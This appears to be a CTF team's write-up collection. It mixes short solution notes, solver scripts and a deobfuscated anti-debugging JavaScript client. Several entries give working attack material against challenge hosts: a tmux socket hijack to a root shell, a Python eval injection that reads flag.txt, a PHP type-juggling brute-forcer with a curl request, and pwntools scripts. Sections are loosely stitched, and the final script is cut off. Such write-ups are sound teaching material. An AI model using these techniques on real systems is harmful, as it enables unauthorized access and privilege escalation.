                    _0x521582["log"] = _0x54cc65;
                    _0x521582["warn"] = _0x54cc65;
                    _0x521582["debug"] = _0x54cc65;
                    _0x521582["info"] = _0x54cc65;
                    _0x521582["error"] = _0x54cc65;
                    _0x521582["exception"] = _0x54cc65;
                    _0x521582["table"] = _0x54cc65;
                    _0x521582['trace'] = _0x54cc65;
                    return _0x521582;
                }(func);
            }
        };
        return _0x4104ec();
    });
    _0x27dfce();
    var _0x1baf97 = function() {
        var _0x4a04d8 = {
            'QDwpw': function(_0x580bda, _0xde7f8) {
                return _0x580bda === _0xde7f8;
            },
            'OdNTA': "kWPwc",
            'wuTZe': "XxZiw",
            'tKqet': 'ebwEc'
        };
        var _0x2e098e = !![];
        return function(_0x144f1d, _0x210b4a) {
            var _0x431a70 = {
                'mBvAO': function(_0x4bfe9c, _0x32222e) {
                    return _0x4bfe9c === _0x32222e;
                },
                'UdALZ': "kWPwc",
                'nyfNW': "XxZiw",
                'acHtD': 'ebwEc'
            };
            var _0x388e28 = _0x2e098e ? function() {
                if (false) {
                    msg = m;
                    update();
                } else {
                    if (_0x210b4a) {
                        if (false) {
                            var _0x37f6ab = _0x210b4a['apply'](_0x144f1d, arguments);
                            _0x210b4a = null;
                            return _0x37f6ab;
                        } else { //does same thing
                            var _0x4b2e75 = _0x210b4a["apply"](_0x144f1d, arguments);
                            _0x210b4a = null;
                            return _0x4b2e75;
                        }
                    }
                }
            }
            : function() {}
            ;
            _0x2e098e = ![];
            return _0x388e28;
        }
        ;
    }();
    (function() {
        var _0x32f2b7 = {
            'natBo': "function *\( *\)",
            'SWoKF': '\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)',
            'TJDZi': function(_0x383e42, _0x247ec9) {
                return _0x383e42 + _0x247ec9;
            },
            'ytInA': function(_0x11e1a6, _0x3012cc) {
                return _0x11e1a6 + _0x3012cc;
            },
            'ADemi': "input",
            'rOYXx': "fWNTk",
            'GhaAN': function(_0x4d7529, _0x4cb76f) {
                return _0x4d7529(_0x4cb76f);
            },
            'SGiMY': "init",
            'aatSn': function(_0x4b2ee6, _0x4523dd) {
                return _0x4b2ee6 + _0x4523dd;
            },
            'jxFJo': "chain",
            'RsFHR': function(_0x5a9552, _0x34a4f2) {
                return _0x5a9552 + _0x34a4f2;
            },
            'zQrjS': function(_0x533fe7) {
                return _0x533fe7();
            }
        };
        _0x1baf97(this, function() {
            var _0x459fa1 = { //creates copy
                'xgOqS': "function *\( *\)",
                'YjWir': '\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)',
                'SvEXK': function(_0x5b2268, _0x20ad34) {
                    return _0x5b2268(_0x20ad34);
                },
                'qVrbk': function(_0x4d1237, _0x4cd30e) {
                    return _0x4d1237 + _0x4cd30e;
                },
                'IJxOL': "chain",
                'HitlB': function(_0x16d47a, _0x19706a) {
                    return _0x16d47a + _0x19706a;
                },
                'WFmTt': "input",
                'zqUQj': function(_0x45146b, _0x15a3ad) {
                    return _0x45146b(_0x15a3ad);
                },
                'JUtuV': function(_0x90fc88, _0x1f2352, _0x330dd0) {
                    return _0x90fc88(_0x1f2352, _0x330dd0);
                }
            };
            if (true) { //actual code starts
                var _0x3db3a5 = new RegExp("function *\( *\)");
                var _0x4a74b1 = new RegExp('\+\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','i');
                var _0x516a0a = _0x2d1069("init"); //cookie stuff
                if (!_0x3db3a5['test'](_0x516a0a + "chain") || !_0x4a74b1["test"](_0x516a0a + "input")) {
                    _0x516a0a('0');
                } else {
                    _0x2d1069;
                }
            } else { //ignore this
                _0x459fa1["JUtuV"](_0x1baf97, this, function() {
                    var _0x14a11a = new RegExp(_0x459fa1['xgOqS']);
                    var _0x5167c5 = new RegExp(_0x459fa1["YjWir"],'i');
                    var _0x35294f = _0x459fa1['SvEXK'](_0x2d1069, "init");
                    if (!_0x14a11a["test"](_0x459fa1["qVrbk"](_0x35294f, _0x459fa1["IJxOL"])) || !_0x5167c5['test'](_0x459fa1["HitlB"](_0x35294f, _0x459fa1["WFmTt"]))) {
                        _0x459fa1["zqUQj"](_0x35294f, '0');
                    } else {
                        _0x2d1069();
                    }
                })();
            }
        })();
    }());
    var _0x2ee600 = function() {
        var _0x495ac2 = {
            'atoNo': 'KOAwQ',
            'csaxQ': 'lCcHJ'
        };
        var _0x349c1f = !![];
        return function(_0x433e6d, _0x5e0022) {
            var _0x48c3bc = _0x349c1f ? function() {
                if (false) {//ignore
                    if (_0x5e0022) {
                        var _0x161cc2 = _0x5e0022['apply'](_0x433e6d, arguments);
                        _0x5e0022 = null;
                        return _0x161cc2;
                    }
                } else {//basically do same things
                    if (_0x5e0022) {
                        var _0x60f4d3 = _0x5e0022["apply"](_0x433e6d, arguments);
                        _0x5e0022 = null;
                        return _0x60f4d3;
                    }
                }
            }
            : function() {}
            ;
            _0x349c1f = ![];
            return _0x48c3bc;
        }
        ;
    }();
    var _0x45c586 = _0x2ee600(this, function() {
        var _0x173ec1 = {
            'YYNtE': function(_0x31edf7, _0x1a2a90) {
                return _0x31edf7 + _0x1a2a90;
            },
            'TBWQi': function(_0x50c5e2, _0x145a68) {
                return _0x50c5e2 + _0x145a68;
            },
            'AGQfu': '2|5|9|8|1|6|7|0|4|3',
            'NOBjn': "return /" + this + "/",
            'WFbnf': "^([^ ]+( +[^ ]+)+)+[^ ]}",
            'xRdYC': function(_0x28078a) {
                return _0x28078a();
            },
            'bYadT': function(_0x1edb6d, _0x41b276) {
                return _0x1edb6d === _0x41b276;
            },
            'inFDK': 'wPbVg',
            'peJbV': '4|1|5|7|6|3|2|0'
        };
        var _0x5a2bbc = function() {};
        var _0x16f724 = function() {
            var _0x47e403;
            try {
                _0x47e403 = Function('return (function() {}.constructor("return this")( ));')();
            } catch (_0x3b48f1) {
                _0x47e403 = window;
            }
            return _0x47e403;
        };
        var _0x2386f1 = _0x16f724();
        if (!_0x2386f1['console']) {
            _0x2386f1['console'] = function(_0x368eaa) {
                var _0x95093c = ["2", "5", "9", "8", "1", "6", "7", "0", "4", "3"];
                var _0x495f14 = 0x0;
                while (true) {
                    switch (_0x95093c[_0x495f14++]) { //iterate throught this
                    case '0':
                        _0xd80574["table"] = _0x368eaa;
                        continue;
                    case '1':
                        _0xd80574["info"] = _0x368eaa;
                        continue;
                    case '2':
                        var _0xd80574 = {};
                        continue;
                    case '3':
                        return _0xd80574;
                    case '4':
                        _0xd80574['trace'] = _0x368eaa;
                        continue;
                    case '5':
                        _0xd80574["log"] = _0x368eaa;
                        continue;
                    case '6':
                        _0xd80574["error"] = _0x368eaa;
                        continue;
                    case '7':
                        _0xd80574["exception"] = _0x368eaa;
                        continue;
                    case '8':
                        _0xd80574['debug'] = _0x368eaa;
                        continue;
                    case '9':
                        _0xd80574["warn"] = _0x368eaa;
                        continue;
                    }
                    break;
                }
            }(_0x5a2bbc);
        } else {
            if (true) {
                var _0xd32090 = ["4", "1", "5", "7", "6", "3", "2", "0"];
                var _0x64c580 = 0x0;
                while (true) {
                    switch (_0xd32090[_0x64c580++]) {//iterate through this using list
                    case '0':
                        _0x2386f1['console']['trace'] = _0x5a2bbc;
                        continue;
                    case '1':
                        _0x2386f1['console']["warn"] = _0x5a2bbc;
                        continue;
                    case '2':
                        _0x2386f1['console']["table"] = _0x5a2bbc;
                        continue;
                    case '3':
                        _0x2386f1['console']["exception"] = _0x5a2bbc;
                        continue;
                    case '4':
                        _0x2386f1['console']["log"] = _0x5a2bbc;
                        continue;
                    case '5':
                        _0x2386f1['console']["debug"] = _0x5a2bbc;
                        continue;
                    case '6':
                        _0x2386f1['console']["error"] = _0x5a2bbc;
                        continue;
                    case '7':
                        _0x2386f1['console']["info"] = _0x5a2bbc;
                        continue;
                    }
                    break;
                }
            } else {
                var _0x3e1b1b = test['constructor']("return /" + this + "/")()['compile']("^([^ ]+( +[^ ]+)+)+[^ ]}");
                return !_0x3e1b1b["test"](_0x27dfce);
            }
        }
    });
    _0x45c586();
    var socket = io();
    var bStart = document['getElementById']('bStart');
    var cGame = document['getElementById']('cGame');
    var pScore = document['getElementById']('pScore');
    var score = 0x0;
    var msg = '';
    var shapes = [];
    var ctx = cGame['getContext']('2d');
    function update() {
        pScore['innerHTML'] = 'Score: ' + score + (msg ? ',\x20' : '') + msg;
    }
    function drawShapes() {
        ctx["clearRect"](0x0, 0x0, 0x1f4, 0x12c);
        shapes['map'](
            (_0x401a13,_0x53031c)=>_0x53031c ? ctx["fillRect"](_0x401a13['x'] - 0x5, _0x401a13['y'] - 0x5, 0xa, 0xa) 
            : ctx['beginPath']() + ctx["arc"](_0x401a13['x'], _0x401a13['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx["closePath"]() + ctx["fill"]()
            );
    }
    function getCursorPosition(_0x2b237a, _0x380ec8) {
        var _0x127ab4 = {
            'NhgpB': function(_0x3d88ae, _0x1d8777) {
                return _0x3d88ae - _0x1d8777;
            }
        };
        const _0x17e5d8 = _0x2b237a['getBoundingClientRect']();
        const _0x4a40e = _0x380ec8['clientX'] - _0x17e5d8['left'];//90.5
        const _0x1efa5e = _0x380ec8['clientY'] -  _0x17e5d8['top'];//246.96875
        return [_0x4a40e, _0x1efa5e];
    }
    bStart['addEventListener']('click', function() {
        var _0x1cd630 = {
            'GYjuS': "start"
        };
        socket['emit']("start");
    });
    socket['on']('disconnect', function() {
        var _0xf6eed5 = {
            'nKIjv': 'You\x20have\x20been\x20disconnected.',
            'dUhjz': function(_0x3ebbbf) {
                return _0x3ebbbf();
            }
        };
        msg = 'You\x20have\x20been\x20disconnected.';
        update();
    });
    socket['on']('score', function(_0x3576f2) {
        score = _0x3576f2;
        update();
    });
    socket['on']('disp', function(_0x522d36) {
        var _0x1fe455 = {
            'JPNpV': function(_0x31be72) {
                return _0x31be72();
            }
        };
        msg = _0x522d36;
        update();
    });
    socket['on']('shapes', function(_0x327b9d) {
        var _0x312e90 = {
            'NsgvL': function(_0x2c843a) {
                return _0x2c843a();
            }
        };
        shapes = _0x327b9d;
        drawShapes();
    });
    ctx['fillStyle'] = '#ff0000';
    cGame['addEventListener']('click', function(mousedata) {
        var _0x3c1dc7 = {
            'CfuWJ': function(_0x5ea446, _0x41976a, _0x3e4576) {
                return _0x5ea446(_0x41976a, _0x3e4576);
            }
        };
        var _0x2f570f = getCursorPosition( cGame, mousedata);
        socket['emit']('click', _0x2f570f[0x0], _0x2f570f[0x1]);
    });
    function _0x2d1069(_0x36830f) {
        var _0x30ad20 = {
            'VStLo': 'HDgHF',
            'owlBu': function(_0x368ec1, _0xc0219e) {
                return _0x368ec1 === _0xc0219e;
            },
            'BiQoV': 'kfODI',
            'BVgPB': 'string',
            'EPpzm': 'AfAOS',
            'pXPFL': 'QrXhj',
            'aJAlu': "counter",
            'wyIUP': function(_0x117ee9, _0xdaeb77) {
                return _0x117ee9 + _0xdaeb77;
            },
            'XVQSP': function(_0x3c2d14, _0x47006) {
                return _0x3c2d14 / _0x47006;
            },
            'nVazA': 'length',
            'obezh': function(_0x19cb7e, _0x71f6ca) {
                return _0x19cb7e % _0x71f6ca;
            },
            'EJhsO': 'gger',
            'RHjXe': 'action',
            'PKkBh': function(_0x33e933, _0x115743) {
                return _0x33e933 !== _0x115743;
            },
            'vBfjr': 'ewwaA',
            'WvICz': 'xcJlq',
            'pxtCf': 'debu',
            'OZmQc': function(_0xdb7a71, _0x5eafb1) {
                return _0xdb7a71(_0x5eafb1);
            },
            'BfCJM': function(_0x2f3450) {
                return _0x2f3450();
            },
            'BQPaR': 'vQRtE'
        };
        function _0x17b7f6(_0x23c200) {
            if (typeof _0x23c200 === 'string') {//checks if string but has to be a number  so wont run
                if (false) {
                    return !![]; //true
                } else { //actual
                    return function(_0x12ba0e) {}
                    ["constructor"]("while (true) {}")["apply"]("counter");
                }
            } else {
                if ((_0x23c200 % 0x14) === 0x0) { //checks if divisible by 20
                    (function() {
                        if (false) {
                            return ![];
                        } else {
                            return !![]; //true
                        }
                    }
                    ["constructor"]('debugger')['call']("action"));
                } else {
                    if (true) {
                        (function() {
                            if (false) {
                                ctx["clearRect"](0x0, 0x0, 0x1f4, 0x12c);
                                shapes["map"]((_0x16827f,_0x45d640)=>_0x45d640 ? ctx["fillRect"](_0x16827f['x'] - 0x5, _0x16827f['y'] - 0x5, 0xa, 0xa) : ctx["map"]() + ctx["arc"](_0x16827f['x'], _0x16827f['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx["closePath"]() + ctx["fill"]());
                            } else {
                                return ![]; //false
                            }
                        }
                        ["constructor"]("debugger")["apply"]('stateObject'));
                    } else {
                        return _0x17b7f6;
                    }
                }
            }
            _0x17b7f6(++_0x23c200);
        }
        try {
            if (_0x36830f) {
                if (true) {
                    return _0x17b7f6;
                } else {
                    score = sc;
                    update();
                }
            } else {
                _0x17b7f6(0x0);
            }
        } catch (_0x1185a1) {}
    }

    Fancy Caesar

    Didn't even look at the script but since the ciphertext is an array, we can guess that the flag is encrypted byte by byte. We bruteforce all 128 (or so) bytes and then get the flag. We also have to rot13 the flag before we get the actual flag.

    hashtag
    Flag: flag{meta_flag_is_meta}

    Amnesia

    Download file, run volatility for profile, install chromehistory plugin, run it on file and flag.

    hashtag
    Flag: flag{forensic_cookie_huntet}

    Binary Exploitation

    Forensics

    Maelstrom

    Mersenne prime XOR

    hashtag
    flag: flag{more_primes_more_good}

    Mercury

    good ol' strings + grep

    hashtag
    Flag: flag{version_control_for_the_solar_system}

    Spy Cam

    Open the pcap in wireshark, some TCP packets have a long length. Once converting the hexdump of these to an image, you'll eventually get the flag of:

    hashtag
    Flag: flag{i_spy_with_my_little_eye}

    Alice and Bob

    uh blinding attack? i think?

    hashtag
    flag: flag{schoolhouse_crypto_with_our_favorite_characters}

    pow(2,d,n) = 6988657481551558082247356502049073555445834960458123409957016751759848663748957581745765821251560463116160058343877506687308278177291145929388813582775374779608479102031123070130884836405070747154679986845156643241478440121477925138458904221698167029178546870148776935453953443880872009172082519317501149012455829269460844949849248020656483858589254435455075272473746709134180160158806676630015405416208672802814910130080253447731590299483535693930068012996241754780781956591655213569734780947677248231246527075795680938730043262907407842607229576669856011494756829604513528777334097324387135227622403213595884626182

    Flag-SP Network

    2 byte key, we can feasibly bruteforce. All that's left to do is write a decrypt function.

    hashtag
    Flag: flag{i_guess_2_bytes_wasnt_enough_after_all}

    import random
    
    rounds = 5
    block_size = 8
    
    invsa = {
      0: 1,
      1: 13,
      2: 14,
      3: 9,
      4: 3,
      5: 6,
      6: 5,
      7: 4,
      8: 8,
      9: 10,
      10: 7,
      11: 2,
      12: 12,
      13: 0,
      14: 15,
      15: 11
    }
    
    invsb = {
      0: 3,
      1: 11,
      2: 4,
      3: 10,
      4: 9,
      5: 1,
      6: 2,
      7: 8,
      8: 13,
      9: 0,
      10: 6,
      11: 7,
      12: 15,
      13: 12,
      14: 5,
      15: 14
    }
    key = [47, 16, 47, 16, 47, 16, 47, 16]
    
    
    to_bin = lambda x, n=block_size: format(x, "b").zfill(n)
    to_int = lambda x: int(x, 2)
    to_chr = lambda x: "".join([chr(i) for i in x])
    to_ord = lambda x: [ord(i) for i in x]
    bin_join = lambda x, n=int(block_size / 2): (str(x[0]).zfill(n) + str(x[1]).zfill(n))
    bin_split = lambda x: (x[0 : int(block_size / 2)], x[int(block_size / 2) :])
    str_split = lambda x: [x[i : i + block_size] for i in range(0, len(x), block_size)]
    xor = lambda x, y: x ^ y
    
    def sinv(a, b):
        return invsa[a], invsb[b]
    
    def pinv(a):
        return a[2] + a[5] + a[0] + a[5] + a[1] + a[7] + a[6] + a[4]
    
    def ks(k):
        return [
            k[i : i + int(block_size)] + k[0 : (i + block_size) - len(k)]
            for i in range(rounds)
        ]
    
    
    def kx(state, k):
        return [xor(state[i], k[i]) for i in range(len(state))]
    
    
    def eee(i):
      a, b = bin_split(to_bin(ord(i)))
      sa, sb = s(to_int(a), to_int(b))
      pe = p(
                bin_join((to_bin(sa, int(block_size / 2)), to_bin(sb, int(block_size / 2))))
            )
      return to_int(pe)
    
    def dec(ct):
      decrypted = []
      for i in ct:
        for pt in range(256):
          if eee(chr(pt)) == ord(i):
            decrypted.append(pt)
      return decrypted
    
    def decrypt(ct,k):
      keys = ks(k)
      state = str_split(ct)
      for b in range(len(state)):
        for i in range(rounds):
          rk = dec((state[b]))
          state[b] = to_chr(kx((rk), keys[i])) # xor with key
        print(state[b])
      return [ord(e) for es in state for e in es]
    ct = to_str([63, 253, 213, 105, 250, 191, 55, 105, 226, 221, 223, 55, 55, 56, 55, 82, 146, 243, 159, 55, 55, 135, 213, 55, 94, 243, 55, 221, 94, 57, 226, 105, 196, 30, 213, 240, 91, 221, 152, 30, 213, 253, 37, 128])
    print(decrypt(ct,key))

    Swipe

    Download 'swipe', it's a vim swap file

    So create /tmp/swipe folder, move the swap to /tmp/swipe/.flag.png.swp

    vim flag.png , will offer to recover file

    inside is a png

    extract png with dd if=flag.png of=flag2.png bs=1 skip=889

    scan qr code in it

    boom

    hashtag
    Flag:flag{swipe_right_on_vim_swap_soisoisoisoisoi}

    Patchwork Quilt

    We're provided with a download of the VScode source code, slightly modified. The name hinted at a patch happening, so I ran git diff and found a 'backdoor' leading to congonator.me/?id=ZmxhZ3tkb250X3RydXN0X2RvZGd5X2Rvd25sb2Fkc30%3D&key= when a key was pressed. I just decoded the id paramater, which revealed the flag.

    hashtag
    flag{dont_trust_dodgy_downloads}

    Misc

    Mobility

    Used apkstudio, had a look in MainActivity.smali, saw an array which seemed to have chars in the ascii range, so decoded those and got the flag.

    hashtag
    Flag: flag{classic_apk_decompile_shenanigans}

    Scripting

    Dimension 0

    Unicode steg, https://330k.github.io/misc_tools/unicode_steganography.htmlarrow-up-right

    hashtag
    Flag: flag{stego_from_the_zero_width_dimension}

    Saving The World

    Download the file, convert the black numbers on the image to alphabet characters, then shift by 13, there's a password (twellicklosescto), use that on steghide, flag.

    hashtag
    Flag:flag{take_care_of_whiterose}

    Warmup

    Baseball

    legit cat the file cyber chef go brrr

    https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base32('A-Z2-7%3D',false)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',falsearrow-up-right)

    hashtag
    Flag:flag{wow_you_hit_a_homerun_and_really_ran_the_bases_there}

    Secret Romance

    Zip password of bonfire, use steghide to get flag of:

    hashtag
    Flag:flag{the_night_circus}

    Alternatively, Le Cirque des Rêves translates to the night circus, which is the flag.

    Robot Takeover

    url= "http://challenge.ctf.games:31879/robots.txt"
    aurl= "http://challenge.ctf.games:31879/"
    import urllib.request
    
    def get(url, ua):
      req = urllib.request.Request(
        url,
        data=None,
        headers={
            'User-Agent': ua
        }
      )
      return req
    
    flag = ["" for i in range(35)]
    while "" in flag:
      with urllib.request.urlopen(url) as response:
         html = response.read()
         lines = html.decode().split("\n")
         for line in lines:
           if "User-agent:" in line:
             ua = line[12:]
           if "Disallow: " in line:
             thing = line[10:]
             theurl = aurl + thing
             req = get(theurl,ua)
             with urllib.request.urlopen(req) as response:
               resp = response.read().decode()
               if "REJOICE" in resp:
                 print(resp, line)
                 thonk = resp.split("INDEX ")
                 filename = thing[1:]
                 a1 = int(thonk[1].split(" IS")[0])
                 a2 = int(thonk[2].split(" IN")[0])
                 flag[a1] = filename[a2]
                 print(flag)
    
    print("".join(flag))

    Tea-mix

    The name hinted towards tmux, which was confirmed by session files for tmux in /tmp; including /tmp/tmux-0/tea_mix (root's session) We have permission toy read the socket file, meaning we can attach to the tmux session.

    export TERM=xterm
    set tty rows/cols to your own terminal
    tmux -S /tmp/tmux-0/tea_mix
    root shell
    cat /root/flag.txt

    hashtag
    Flag: flag{oooohhhh_tea_mix_sounds_like_tmux_i_get_it}

    Flushed Revenge

    Run script then profit

    from pwn import *
    import string
    
    def recvline(r):
        lines = [r.recvline().decode()[1:] for _ in range(8)]
        chunks = [[l[i:i+6] for i in range(0, len(l), 7)] for l in lines]
        chars = list(zip(*chunks))
        return chars
    
    def recvall(r, timeout=1):
        while i := r.recvline(timeout=timeout).decode():
            pass
    
    mapping = {}
    
    with remote('challenge.ctf.games', 30877) as r:
        recvall(r, timeout=5)
        for c in string.ascii_letters + string.digits + '+=/':
            r.sendline(c)
            r.recvline()
            result = recvline(r)[0]
            mapping[result] = c
            print(c, '\n'.join(result), sep='\n')
            recvall(r)
        r.sendline('base64 flag.png')
        r.recvline()
        with open('b64flag.hd', 'w') as f:
            while True:
                for i in recvline(r):
                    print('\n'.join(i))
                    result = mapping.get(i, ' ')
                    f.write(result)

    Reggae

    Now we didn't actually solve this, due to instability with the challenge. But we came up with a script that seemed to be working well before the instance died:

    from pwn import *
    import random
    
    regex1 = [str(i) for i in range(100, 1000)]
    regex2 = [i * 5 for i in 'abcdefghijklmnop']
    regex3 = ['1.' + '1'*i for i in range(1, 1000)]
    regex4 = ['+' + '1'*i for i in range(3, 1000)]
    regex5 = ['<' + 'a'*i + '>' for i in range(1, 1000)]
    regex6 = [f'0{i}:{j}' for i in range(10) for j in range(60)]
    regex7 = [f'1{i}-01-{j}' for i in range(100, 1000) for j in range(10, 30)]
    regex8 = ['a'*i + '@a.com' for i in range(1, 200)]
    regex9 = ['https://www.youtube.com/channel/UC' + i + j + 20*k + '/' for i in 'abcdefghijklmnopq' for j in 'abcdefghijklmnopq' for k in 'abcdefghijklmnopq']
    regexA = [' '.join(['.....']*i) for i in range(1, 200)]
    regexB = ['1.1.1.' + str(i) for i in range(256)]
    regexC = ['0'*i for i in range(1, 100)]
    regexD = ['00' + '::'*i for i in range(1, 200)]
    
    r = remote("challenge.ctf.games", 30811)
    while True:
        r.recvuntil('?\n')
        regex = r.recvline().strip().decode()
    
        if regex == '^\d{3}$':
            pwned = regex1.pop()
        elif regex == '^\w{5}$':
            pwned = regex2.pop()
        elif regex == '^\d*\.\d+$':
            pwned = regex3.pop()
        elif regex == '^\+?(\d.*){3,}$':
            pwned = regex4.pop()
        elif regex == '<\/?[\w\s]*>|<.+[\W]>':
            pwned = regex5.pop()
        elif regex == '^(0?[1-9]|1[0-2]):[0-5][0-9]$':
            pwned = regex6.pop()
        elif regex == '([12]\d{3}-(0[1-9]|1[0-2])-(0[1-9]|[12]\d|3[01]))':
            pwned = regex7.pop()
        elif regex == '^([a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6})*$':
            pwned = regex8.pop()
        elif regex == 'https?:\/\/(www\.)?youtube.com\/channel\/UC([-_a-z0-9]{22})/':
            pwned = regex9.pop()
        elif regex == '^[.-]{1,5}(?:[ \\t]+[.-]{1,5})*(?:[ \\t]+[.-]{1,5}(?:[ \\t]+[.-]{1,5})*)*$':
            pwned = regexA.pop()
        elif regex == '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$':
            pwned = regexB.pop()
        elif regex == r'^(?:(?:\(?(?:00|\+)([1-4]\d\d|[1-9]\d?)\)?)?[\-\.\ \\\/]?)?((?:\(?\d{1,}\)?[\-\.\ \\\/]?){0,})(?:[\-\.\ \\\/]?(?:#|ext\.?|extension|x)[\-\.\ \\\/]?(\d+))?$':
            pwned = regexC.pop()
        elif regex == r'(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))':
            pwned = regexD.pop()
        else:
            print(f"Error couldn't find valid regex for {regex}")
    
        log.success("Regex: " + regex)
        log.success("Generated: " + pwned)
    
        r.recvuntil('> ')
        r.sendline(pwned)

    Give Up

    typing exit in the terminal does this

    bash-4.4$ exit
    
    exit
    exit
    3338241147603780238248786938107867350016489922013403739812786768782254742117160331044416747901

    not sure why

    then running long to bytes on the number reveals the flag

    hashtag
    Flag:flag{sometimes_it_is_best_to_step_away}

    Play The Harp

    This was kinda guessy imo but anyway

    then i scrolled loads hoping i would see something good and found a long list of chars:

    like this but longer, looking at the last char we assemble the flag together

    hashtag
    flag: flag{the_harp_instrument_has_vertical_strings}

    Kiddie Pool

    We simply need to unswirl this image, using a site such as https://www.photo-kako.com/en/swirl.cgiarrow-up-right

    I personally used an angle of 900% which gave me the flag perfectly readably.

    hashtag
    Flag:flag{whirlpool_in_a_cinch}

    Where's The Body

    go to sitemap.xml, b64 decode then b58 decode https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false)&input=TWpRMmIzWndZbEV5WmxCUmMyNWFlRFk0WlhKMU4zTkljSHBvYVVFemFHcDFaRlI0V25KciAarrow-up-right

    hashtag
    Flag: flag{yellow_is_the_imp0ster}

    Steg

    Ez Bake Oven

    So you have an ez bake oven, go to the cookies tab and start baking.

    after this, decode the base 64 of the cookie, and then edit it to a date that has passed over 5 days ago, make sure to use mm/dd/yyyy format, then base64 encode this, and then change the cookie for the site to your new base64 encoded cookie.

    hashtag
    Flag: flag{you_are_the_master_baker}

    Web

    Yet Another Micro-story Library

    Python Deserialization Vulnerability, https://xerosecurity.com/wordpress/exploiting-python-deserialization-vulnerabilities/arrow-up-right

    hashtag
    Flag: [to be added]

    Crypto CTF

    Trailing Bits

    So because of the bit removals, relative to the byte each bit position is off by 2 - we can correct this by removing 2 bits at the beginning so that the binary decrypts to valid plaintext, which contains the flag CCTF{it5_3n0u9h_jU5T_tO_sH1ft_M3}

    hashtag
    Flag: CCTF{it5_3n0u9h_jU5T_tO_sH1ft_M3}

    Pwn

    strings harp.jpg | less
    HDNR6GFf
    6LLIJK9l
    18NL1HWa
    GCU85U5g
    RQ9CGTH{
    T47Y9SUt
    2SKZJOBh
    H06K09Ze
    3BWV54X_
    C1VY4EIh
    GO0DK9Ua
    ZZLVBMZr
    8CK8FTGp
    TNDQURH_
    CEHGS41i

    Y2K

    int(eval(compile('print open("flag.txt", "r").readlines()', '<string>', 'exec')) or 0)

    go brrrrr

    hashtag
    Flag:flag{we_are_saved_from_py2_k}

    One Line Crypto

    bruteforce X using m counting down

    candidates = set()
    
    x = 1
    m = 160
    while True:
        while (x**(m+1) - (x+1)**m).bit_length() < 1023:
            x += 1
        while (num := x**(m+1) - (x+1)**m).bit_length() < 1026:
            if isPrime(num):
                for i in candidates:
                    if min(i, num) < max(i, num) < min(i, num) << 3 and (i*num).bit_length() == 2048:
                        phi = (i-1)*(num-1)
                        d = inverse(0x10001, phi)
                        pt = pow(flag, d, i*num)
                        try:
                            print(long_to_bytes(pt).decode())
                            quit()
                        except Exception:
                            pass
                candidates.add(num)                                                                                                                                                                         
            x += 1                                                                                                     
        m -= 1

    Clown Show

    /src.php has source for the site. We can send a few params, which are hashed together and the result (chars 5-25) are compared to '0' (using ==). In php, this is vulnerable to type juggling. 0e1434 == '0' for example. We simply have to find a set of values satisfying these constraints.

    import hashlib
    
    def hash(string):
        return hashlib.sha256(string).hexdigest()
    
    time = b"12345678901"
    name = b"test"
    import os, binascii
    import re
    while True:
        answer = binascii.hexlify(os.urandom(20))
        thing = hash(name + answer + time)
        if len(re.findall('^(.{5}0e[\d]{18})', thing)) > 0:
            print(re.findall('^.....0e\d{18}', thing))
            print(name + b" " + answer + b" " + time)
            print(thing)
            exit()

    curl http://challenge.ctf.games:31965/index.phparrow-up-right -d 'name=test&answer=6b067ebdb712e42e64e6dcaeb6513afd0f801bfc&time=12345678901'

    hashtag
    Flag:flag{w00t_W0ot_juggl1n6_1s_2_3z}

    Amsterdam

    just some rev

    1. reverse with base 3

    2. find K and N (ez)

    3. undo adding

    b'..:: CCTF{With_Re3p3ct_for_Sch4lkwijk_dec3nt_Encoding!} ::..'

    hashtag
    Flag: CCTF{With_Re3p3ct_for_Sch4lkwijk_dec3nt_Encoding!}

    Scripts:

    Output:

    Script 2:

    FWordCTF

    Pwnchevron-rightRevchevron-rightCryptochevron-rightOSINTchevron-rightBashchevron-right

    #!/usr/bin/env python3
    
    from Crypto.Util.number import *
    from functools import reduce
    import operator
    #from secret import flag, n, k
    
    def comb(n, k):
        if k > n :
            return 0
        k = min(k, n - k)
        u = reduce(operator.mul, range(n, n - k, -1), 1)
        d = reduce(operator.mul, range(1, k + 1), 1)
        return u // d 
    
    comb(5,2)
    def encrypt(msg, n, k):
        msg = bytes_to_long(msg.encode('utf-8'))
        if msg >= comb(n, k):
            return -1
        m = ['1'] + ['0' for i in range(n - 1)]
        for i in range(1, n + 1):
            if msg >= comb(n - i, k):
                m[i-1]= '1'
